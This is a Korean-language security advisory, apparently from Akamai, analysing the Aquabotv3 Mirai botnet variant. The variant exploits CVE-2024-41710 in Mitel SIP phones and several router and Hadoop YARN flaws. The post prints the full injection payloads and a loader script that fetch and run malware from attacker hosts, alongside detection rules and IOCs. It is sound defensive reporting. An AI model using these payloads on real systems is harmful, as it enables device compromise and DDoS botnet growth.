활발한 악용: 새로운 Aquabot 변종 전화기 홈
편집 및 추가 설명: 트리샤 하워드(Tricia Howard)
핵심 요약
Akamai 보안 인텔리전스 대응팀(SIRT)은 Mitel SIP 전화를 적극적으로 공격하려는 Mirai 기반 멀웨어인 Aquabot의 새로운 변종을 확인했습니다. Aquabot의 세 번째 변종이기 때문에, Akamai는 이 변종을 Aquabotv3라고 명명했습니다.
이 멀웨어는 Mitel 모델에 영향을 미치는 명령어 인젝션 취약점인 CVE-2024-41710을 악용합니다.
이 멀웨어는 Mirai 변종에서 이전에 볼 수 없었던 행동을 보입니다. 즉, 감염된 디바이스에서 킬 신호가 포착되면 명령 및 제어(C2)에 다시 보고하는 기능(report_kill)이 있습니다. 이 블로그 게시물을 작성하는 시점까지 C2로부터 어떠한 응답도 받지 못했습니다.
소개 및 발견 내용
Aquabot이란?
Aquabot은 Mirai 프레임워크를 기반으로 구축된 봇넷으로써 분산 서비스 거부(DDoS) 공격을 수행하는 것을 최종 목표로 합니다. 이 봇넷의 이름은 분석 과정에서 발견된 파일 이름인 ‘Aqua’에서 유래되었습니다. 2023년 11월부터 알려지기 시작했으며 Antiy Labs가 최초로 보고했습니다. 현재 알려진 버전은 세 가지이며, 오늘은 세 번째 버전을 소개합니다.
첫 번째 버전은 Mirai의 기본 프레임워크와 매우 유사했고, 두 번째 버전은 디바이스 종료 및 재시작 방지 등 은폐 및 지속성 메커니즘을 추가했습니다. 전체 기술 분석은 Antiy의 글을 읽어보시기 바랍니다.
이 세 번째 버전은 Mirai 기반 봇넷에 새로운 활동, 즉 봇넷이 특정 신호를 포착할 때 C2 통신을 추가합니다. 두 버전과 크게 다른 세 번째 변종의 특징은 이 기능과 다른 주목할 만한 기능의 차이점에 있습니다.
취약점 및 개념 증명(PoC) 악용
CVE-2024-41710
CVE-2024-41710은 R6.4.0.HF1(R6.4.0.136)을 통해 6970 회의 유닛을 포함한 Mitel 6800, 6900, 6900w 시리즈 SIP 전화에 영향을 미치는 명령어 인젝션 취약점입니다. 원래 2024년 7월 중순에 공개되었으며, 이것은 입력 위생 취약점에 의존하고 이를 악용하면 디바이스의 루트 접속으로 이어질 수 있습니다. 이 취약점은 2024년 8월 중순에 Packetlabs의 연구원 카일 번스(Kyle Burns)가 GitHub에 공개한 개념 증명(PoC)에서 확인되었습니다.
2025년 1월 SIRT의 관찰 이전에 이 취약점이 악용된 사례는 알려진 바가 없습니다.
악용 개념 증명
악용 개념 증명(PoC)은 공격자가 특수하게 조작된 HTTP POST 요청을 전송함으로써 애플리케이션의 위생 검사에서 차단된 항목을 몰래 들여올 수 있음을 보여줍니다.
GitHub README에서 번스는 Mitel 6869i SIP 전화, 펌웨어 버전 6.3.0.1020이 사용자가 입력한 내용을 제대로 위생 처리하지 못한다는 것을 발견했으며 여러 엔드포인트가 이 문제에 취약하다는 것을 발견했다고 보고했습니다. 그는 PoC를 위해 엔드포인트 ‘802.1x 지원’(8021xsupport.html)에 집중했습니다.
8021xsupport.html에 대한 원격 요청은 디바이스의 로컬 설정(/nvdata/etc/local.cfg)을 업데이트하는 데 사용될 수 있습니다. ‘%dt’의 바이트 값을 전송하면, ‘linemgrSip’ 웹 애플리케이션은 이것을 줄 끝 문자(‘%0d’)로 해석합니다. 이것은 디바이스의 로컬 설정 내용이 읽혀서 시작 동작에 사용될 때 부팅 과정에서 활용될 수 있습니다.
PoC 악용에서 번스는 코드 실행을 얻기 위해 802.1x+identity HTTP POST 매개변수에 지정된 다음과 같은 페이로드를 제공합니다.
AAAAA%dthostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl <ip> | sh ;%dt%dt%dt
부팅 과정에서 애플리케이션은 디바이스의 로컬 설정에서 대상 호스트 이름 항목을 덮어씁니다. 그런 다음, 호스트 이름 항목이 부팅 과정에서 사용되어 앞에 추가된 셸 스크립트를 실행합니다.
활발한 악용
Akamai SIRT는 2025년 1월 초에 PoC와 거의 동일한 페이로드를 사용해 글로벌 허니팟 네트워크를 통해 이 취약점을 노린 공격 시도를 탐지했습니다. 이전 섹션에서 보여드린 페이로드 예제는 URI ‘/8021xsupport.html’을 표적으로 했지만, 지금은 멀웨어를 확산시키는 데 사용되고 있습니다.
AAAAA%!d(string=[IP Address])thostname: QWERTY -t 302400 -T 6 -b -a -i eth0 -s /usr/share/udhcpc/default.script -p /var/run/udhcpc.eth.pid; curl http://raw2.intenseapi[.]com/bin.sh | sh ;%!d(MISSING)t%!d(MISSING)t%!d(MISSING)t
이 페이로드는 ‘bin.sh’라는 셸 스크립트를 가져와서 실행하려고 시도합니다. 이 스크립트는 x86과 ARM과 같은 다양한 아키텍처를 지원하면서 표적 시스템에서 Mirai 멀웨어를 가져와서 실행합니다.
wget http://raw2.intenseapi[.]com/Aqua.x86; chmod 777 *; ./Aqua.x86 Aqua.x86;
wget http://raw2.intenseapi[.]com/Aqua.arm; chmod 777 *; ./Aqua.arm Aqua.arm;
wget http://raw2.intenseapi[.]com/Aqua.arm5; chmod 777 *; ./Aqua.arm5 Aqua.arm5;
wget http://raw2.intenseapi[.]com/Aqua.arm6; chmod 777 *; ./Aqua.arm6 Aqua.arm6;
wget http://raw2.intenseapi[.]com/Aqua.arm7; chmod 777 *; ./Aqua.arm7 Aqua.arm7;
wget http://raw2.intenseapi[.]com/Aqua.m68k; chmod 777 *; ./Aqua.m68k Aqua.m68k;
wget http://raw2.intenseapi[.]com/Aqua.mips; chmod 777 *; ./Aqua.mips Aqua.mips;
wget http://raw2.intenseapi[.]com/Aqua.mpsl; chmod 777 *; ./Aqua.mpsl Aqua.mpsl;
wget http://raw2.intenseapi[.]com/Aqua.sh4; chmod 777 *; ./Aqua.sh4 Aqua.sh4;
rm -rf Aqua.*
멀웨어 샘플 분석에 근거해, 이 버전이 Aquabot Mirai 변종의 버전이라고 판단했습니다. Aquabotv2와 가장 유사한 점이 많습니다. 동일한 공격 기능을 가지고 있지만, 다음 섹션에서 다룰 몇 가지 주목할 만한 차이점이 있습니다. 멀웨어의 이러한 진화 때문에, Akamai는 이 버전을 Aquabotv3라고 명명했습니다.
멀웨어 분석
언뜻 보면, Aquabotv3는 일반적인 DDoS 공격 기능(예: 플러드와 바이패스)을 가진 표준적인 Mirai 멀웨어 바이너리처럼 보입니다.
[0x00008194]> afl|grep attack
0x000089f8 27 1680 sym.attack_gre_eth
0x0000c550 24 1256 sym.attack_udp_generic
0x0000b8f4 27 852 sym.attack_tcp_socket
0x0000be78 19 672 sym.attack_udp_plain
0x0000c118 20 1076 sym.attack_udp_vse
0x000084e8 8 108 sym.attack_get_opt_ip
0x0000a0fc 31 1780 sym.attack_tcp_ack
0x000085c4 1 1016 sym.attack_init
0x00009948 32 1968 sym.attack_tcp_stomp
0x000096a8 19 672 sym.attack_std
0x000081d0 13 244 sym.attack_start
0x0000aea0 31 1780 sym.attack_tcp_legit
0x000082cc 24 540 sym.attack_parse
0x0000a7f4 28 1704 sym.attack_tcp_syn
0x00008554 8 112 sym.attack_get_opt_int
0x0000bc4c 14 556 sym.attack_udp_bypass
0x0000908c 27 1560 sym.attack_gre_ip
0x0000b598 27 860 sym.attack_tcp_bypass
[0x00008194]>
그러나 Akamai는 다음과 같은 신호를 위한 신호 처리기 ‘handle_signal()’을 설정하는 ‘defend_binary()’라는 함수(그림 1에서 ‘sym.defend_binary’로 표시됨)를 발견했습니다.
- 신호 15(SIGTERM)
- 신호 2(SIGINT)
- 신호 9(SIGKILL)
- 신호 3(SIGQUIT)
- 신호 20(SIGTSTP)
- 신호 21(SIGTTIN)
- 신호 22(SIGTTOU)
- 신호 1(SIGHUP)
그림 1은 이러한 신호 중 하나가 실행 중인 멀웨어 샘플로 전송되면 멀웨어가 이를 포착한다는 것을 보여줍니다.
‘handle_signal’ 함수는 일단 신호를 포착하면 메모리에 플래그를 설정해 신호가 포착되었고 바이너리가 ‘방어’되었음을 나타냅니다(그림 2).
여기서 멈추지 않습니다. Aquabotv3은 그다음에 홈으로 보고합니다. report_kill() 함수는 TCP 연결을 통해 C2에 신호가 잡혔다는 메시지를 보냅니다(그림 3).
멀웨어는 킬 시도를 C2에도 다시 보냅니다(그림 4). 그러나 C2로부터는 신호가 포착되었다는 알림에 근거해 보고된 내용이 없는 것으로 보입니다.
Mirai 변종에서 이런 행동은 이전에 본 적이 없기 때문에 새로운 기능일 수도 있습니다. 이 행동의 진정한 이유는 확인되지 않았지만 C2에 대한 이 통신은 봇넷 작성자가 봇넷의 상태를 적극적으로 모니터링하는 방법일 수 있습니다.
봇넷에는 로컬 쉘과 같은 특정 요구 사항에 부합하는 프로세스를 죽이도록 프로그래밍된 기능이 포함되어 있습니다.
[0x00008194]> afl|grep killer
0x0000d900 15 332 sym.killer_diego
0x0000da64 18 376 sym.killer_dora_the_explorer
0x0000d324 13 664 sym.killer_im_the_map
0x0000d5dc 18 388 sym.killer_boots
0x0000ced4 42 1068 sym.killer_tico
0x0000dbf8 4 100 sym.killer_init
0x0000d77c 15 356 sym.killer_swiper
Aquabotv2에는 난독화 메커니즘이 도입되었으며, 이는 v3에도 존재했습니다. 그림 5는 멀웨어가 스스로의 이름을 ‘httpd.x86’으로 바꾸고 포트 33966을 통해 C2 서버 193.200.78[.]57과 통신하는 방법을 보여줍니다.
멀웨어의 동작을 동적 분석해 이 멀웨어가 포트 7733을 통해 89.190.156[.]145의 C2 서버에 연결한다는 사실을 발견했습니다. 이러한 포트는 Akamai가 분석한 많은 샘플에서 일관되게 유지됩니다.
root@debian:~# lsof |grep httpd
httpd 919 larry cwd DIR 8,1 4096 9879 /home/larry
httpd 919 larry rtd DIR 8,1 4096 2 /
httpd 919 larry txt REG 8,1 62772 10798 /home/larry/Aqua.x86
httpd 919 larry 0u IPv4 23658 0t0 TCP 192.168.0.111:37892->193.200.78.57:33966 (ESTABLISHED)
httpd 919 larry 3u sock 0,8 0t0 16781 protocol: TCP
추가 취약점 표적
다른 많은 봇넷과 마찬가지로, 이 봇넷은 다양한 취약점을 표적으로 해 그 범위를 더욱 넓혀갑니다. Akamai는 흔히 악용되는 Hadoop YARN 취약점을 통해 확산되는 동일한 Aquabot Mirai 멀웨어를 관찰했습니다. 앞서 논의된 페이로드와 유사하게, 이 악용은 동일한 ‘bin.sh’ 셸 스크립트를 가져와서 실행한 다음, 표적 시스템에서 Aquabot Mirai 멀웨어 변종을 가져와서 실행합니다.
/ws/v1/cluster/apps {"application-id": "application_1404198295326_0003", "application-name": "get-shell", "am-container-spec": {"commands": {"command": "wget http://raw2.intenseapi[.]com/bin.sh; chmod 777 bin.sh; ./bin.sh; rm -rf *"}}, "application-type": "YARN"}
Hadoop YARN 취약점 악용
Akamai가 봇넷의 표적이 되는 것으로 관찰한 취약점에는 CVE-2018-17532, CVE-2023-26801, CVE-2022-31137, Linksys E-series RCE, CVE-2018-10562, CVE-2018-10561 등이 있습니다. 파일 이름이 Mitel의 악용 시도에서 사용된 단순한 ‘Aqua’ 이름과 다르지만, 다른 악용 시도의 멀웨어는 동일한 것으로 보입니다.
/cgi-bin/hotspotlogin.cgi send=1&uamip="; cd /tmp;rm -rf mips; wget http://files1.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps tplink.0day; rm -rf vsbeps #"
CVE-2018-17532의 악용
/goform/set_LimitClient_cfg time1=00:00-00:00&time2=00:00-00:00&mac=;killall -9 mpsl; killall -9 bash.mpsl; killall -9 mips; rm -rf *mpsl*; wget http://server2.eye-network[.]ru/qkehusl -O mpsl; busybox wget http://server2.eye-network[.]ru/qkehusl -O mpsl; chmod 777 mpsl; ./mpsl lbink;
CVE-2023-26801의 악용
/app/options.py show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20wget%20cd /tmp; wget http://server.eye-network[.]ru/pdvr.sh; curl -O http://server.eye-network[.]ru/pdvr.sh; chmod 777 pdvr.sh; sh pdvr.sh; ./skid.sh; rm -rf *
CVE-2022-31137의 악용
/tmUnblock.cgi submit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+bins.sh%3B+wget+http%3A%2F%2Fserver.eye-network[.]ru%2Fwget.sh%3B+chmod+777+wget.sh%3B+sh+wget.sh+linksys%60&StartEPI=1
Linksys E-series RCE의 악용
/GponForm/diag_Form?images/ XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon`;cd /tmp; cd /var/tmp; wget http://server.eye-network[.]ru/vsbeps; chmod 777 vsbeps; ./vsbeps vpntGpon&ipv=0
CVE-2018-10562 및 CVE-2018-10561의 악용
서비스로서의 DDoS
또한, Akamai는 Aquabot의 배후 공격자들이 Telegram 같은 플랫폼을 통해 이 봇넷을 DDoS 서비스로 광고하고 있다는 사실도 확인했습니다(그림 6). 이 봇넷은 레이어 4와 레이어 7 DDoS를 제공하는 여러 가지 다른 이름으로 광고되고 있습니다. 이름 지정 규칙이 다양해서 Cursinq Firewall, The Eye Services, The Eye Botnet처럼 그 진정한 목적과 관련해 오해를 일으킵니다.
공격자들은 일반적으로 봇넷이 연구자나 법 집행 기관을 속이기 위한 DDoS 방어 테스트 목적으로만 사용된다고 주장합니다. 공격자들은 단지 PoC 또는 교육용이라고 주장하지만, 더 깊이 분석해 보면 실제로 DDoS 공격을 서비스로 광고하거나, 소유자가 Telegram에서 봇넷을 운영한다고 자랑하고 있는 것으로 드러납니다.
예를 들어, 그림 6의 광고에서 그들이 ‘DDoS 방어 시스템’을 ‘순전히 테스트’한다고 주장하는 바로 그 도메인이 Mirai 멀웨어를 활발하게 확산시키고 있습니다.
서로 밀접한 관련이 있는 Mirai와 DDoS
DDoS는 많은 기업에 계속해서 만연한 위협이 되고 있으며, Aquabot과 같은 봇넷이 그 핵심적인 역할을 하고 있습니다. 게다가 이러한 봇넷의 대부분이 Mirai 멀웨어를 기반으로 하고 있기 때문에 주로 사물 인터넷(IoT) 디바이스를 표적으로 하고 있으며 이로 인해 멀웨어의 확산이 상대적으로 용이해졌습니다.
봇넷 제작을 꿈꾸는 사람들에게 Mirai의 ROI는 높습니다. Mirai는 세계에서 가장 성공적인 봇넷 중 하나이며, 수정하기도 비교적 쉽습니다. 이러한 IoT 머신에는 적절한 보안 기능이 없는 경우가 많고, 서비스가 종료된 상태이거나, 방치 또는 리스크에 대한 지식 부족으로 인해 기본 설정과 비밀번호가 그대로 남아 있는 경우가 많습니다.
Aquabot의 경우, 핵심 멀웨어는 Mirai와 동일하지만 신호 처리 방식이 특히 독특합니다. 그러나 독특하다고 해서 항상 가장 유용한 것은 아닙니다. 이 멀웨어는 특별히 조용하지 않았기 때문에 오히려 해가 될 수도 있습니다.
이 독특한 신호 처리 방식이 채택된 이유는 공격자가 향후 더 은밀한 변종을 개발하기 위해 머신의 방어 활동을 의도적으로 관찰하고 있기 때문일 수 있습니다. 또한 경쟁 봇넷이나 윤리적 테이크다운 캠페인, 또는 이들의 조합으로부터의 적극적인 방해나 공격 탐지에 사용될 수도 있습니다.
조치
공격자의 의도가 무엇이든, 안전하지 않은 IoT 디바이스에 대한 조치를 취하면(예: 기본 인증정보 발견 및 변경) DDoS 공격에 맞서 싸우는 데 도움이 될 수 있습니다. 이러한 봇넷의 대부분은 인증에 일반 비밀번호 라이브러리를 사용합니다. 알려진 IoT 디바이스가 어디에 있는지 확인하고, 악성 디바이스도 확인하세요. 로그인 인증 정보를 확인하고 기본 인증정보이거나 추측하기 쉬운 경우 변경하세요.
자세히 보기
감염 징후
보안팀을 돕기 위해 감염 지표(IOC) 목록과 Snort 및 Yara 룰을 포함시켰습니다.
네트워크 IOC에 대한 Snort 룰
악성 IP에 대한 Snort 룰
# Outbound traffic TO any of these malicious IPs
alert ip any any -> [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any \
(msg:"Malicious IP Outbound Traffic"; \
sid:1000001; rev:1; \
classtype:botnet-activity; \
priority:1; )
# Inbound traffic FROM any of these malicious IPs
alert ip [89.190.156.145,91.92.243.233,213.130.144.69,154.216.16.109,193.200.78.33,173.239.233.47,141.98.11.67,141.98.11.175,173.239.233.48,173.239.233.46] any -> any any \
(msg:"Malicious IP Inbound Traffic"; \
sid:1000002; rev:1; \
classtype:botnet-activity; \
priority:1; )
C2 도메인 확인 탐지에 대한 Snort 룰
alert udp any any -> any 53 (
msg:"Malicious domain DNS query (subdomains included)";
;;; For Snort 2.9.9+ or Snort 3, if using the 'dns_query' keyword:
dns_query;
pcre:"/(?:^|\.)dogmuncher\.xyz$|(?:^|\.)cardiacpure\.ru$|(?:^|\.)fuerer-net\.ru$|(?:^|\.)eye-network\.ru$|(?:^|\.)intenseapi\.com$|(?:^|\.)cloudboats\.vip$|(?:^|\.)theeyefirewall\.su$|(?:^|\.)awaken-network\.net$/i";
classtype:botnet-activity;
sid:1000001;
rev:1;
priority:1;
)
멀웨어 샘플에 대한 Yara 룰
import "hash"
rule Malicious_Malware_IOCs
{
meta:
description = "Detects suspicious samples referencing known malicious infrastructure and strings"
strings:
// --- IP addresses (as ASCII) ---
$ip1 = "89.190.156.145"
$ip2 = "91.92.243.233"
$ip3 = "213.130.144.69"
$ip4 = "154.216.16.109"
$ip5 = "193.200.78.33"
$ip6 = "173.239.233.47"
$ip7 = "141.98.11.67"
$ip8 = "141.98.11.175"
$ip9 = "173.239.233.48"
$ip10 = "173.239.233.46"
// --- Domain names (as ASCII) ---
$dom1 = "dogmuncher.xyz"
$dom2 = "cardiacpure.ru"
$dom3 = "fuerer-net.ru"
$dom4 = "eye-network.ru"
$dom5 = "intenseapi.com"
$dom6 = "cloudboats.vip"
$dom7 = "theeyefirewall.su"
$dom8 = "awaken-network.net"
// --- Unique strings from malware analysis ---
$str_locker_killed = "[locker] killed process: %s"
$str_killer_node = "[killer/node] killed process: %s"
$str_killer_cpu = "[killer/cpu] killed process: %s"
$str_killer_cmd = "[killer/cmd] killed process: %s"
$str_killer_stat = "[killer/stat] killed process: %s"
$str_killer_exe = "[killer/exe] killed process: %s"
$str_killer_maps = "[killer/maps] killed process: %s"
condition:
any of ($ip*) or // Match if any malicious IP is found in ASCII form
any of ($dom*) or // Match if any malicious domain is found in ASCII form
any of ($str_killer*) or ($str_locker_killed)
}
rule Known_Malicious_Files_by_SHA256
{
meta:
description = "Detects files matching known malicious SHA-256 hashes"
hash_list = "6 known malicious samples"
condition:
hash.sha256(0, filesize) in (
"597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86",
"6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec",
"b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b",
"b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de",
"1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef",
"e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3"
)
}
과거 인프라의 IPv4 주소
89.190.156.145
91.92.243.233
213.130.144.69
154.216.16.109
193.200.78.33
173.239.233.47
141.98.11.67
141.98.11.175
173.239.233.48
173.239.233.46
C2 및 멀웨어 배포 엔드포인트에 대한 도메인
dogmuncher.xyz
cardiacpure.ru
fuerer-net.ru
eye-network.ru
intenseapi.com
cloudboats.vip
theeyefirewall.su
awaken-network.net
SHA256 해시
597b84ba23e16b24ec17288981bbf65c84b6ba3bb07df6620378a1907692fb86
6a070dc9614dbb9a76092258fdc8bd758f69126c73787dc7d2af9aebd436e7ec
b41e29e745b69f3e8c11d105e7e050fd9e08ff1e22efd97fd4c239a9095d708b
b5d1cf8b222162567f46281e792145774689c205701a02f3723cf6fb13a429de
1e74bcd24e30947bd14cef6731ca63f69df060ba3dcac88b2321171335a6e8ef
e06c3f5c32aaa422e66056290eb566065afe2ce611fe019f3ba804af939ac1a3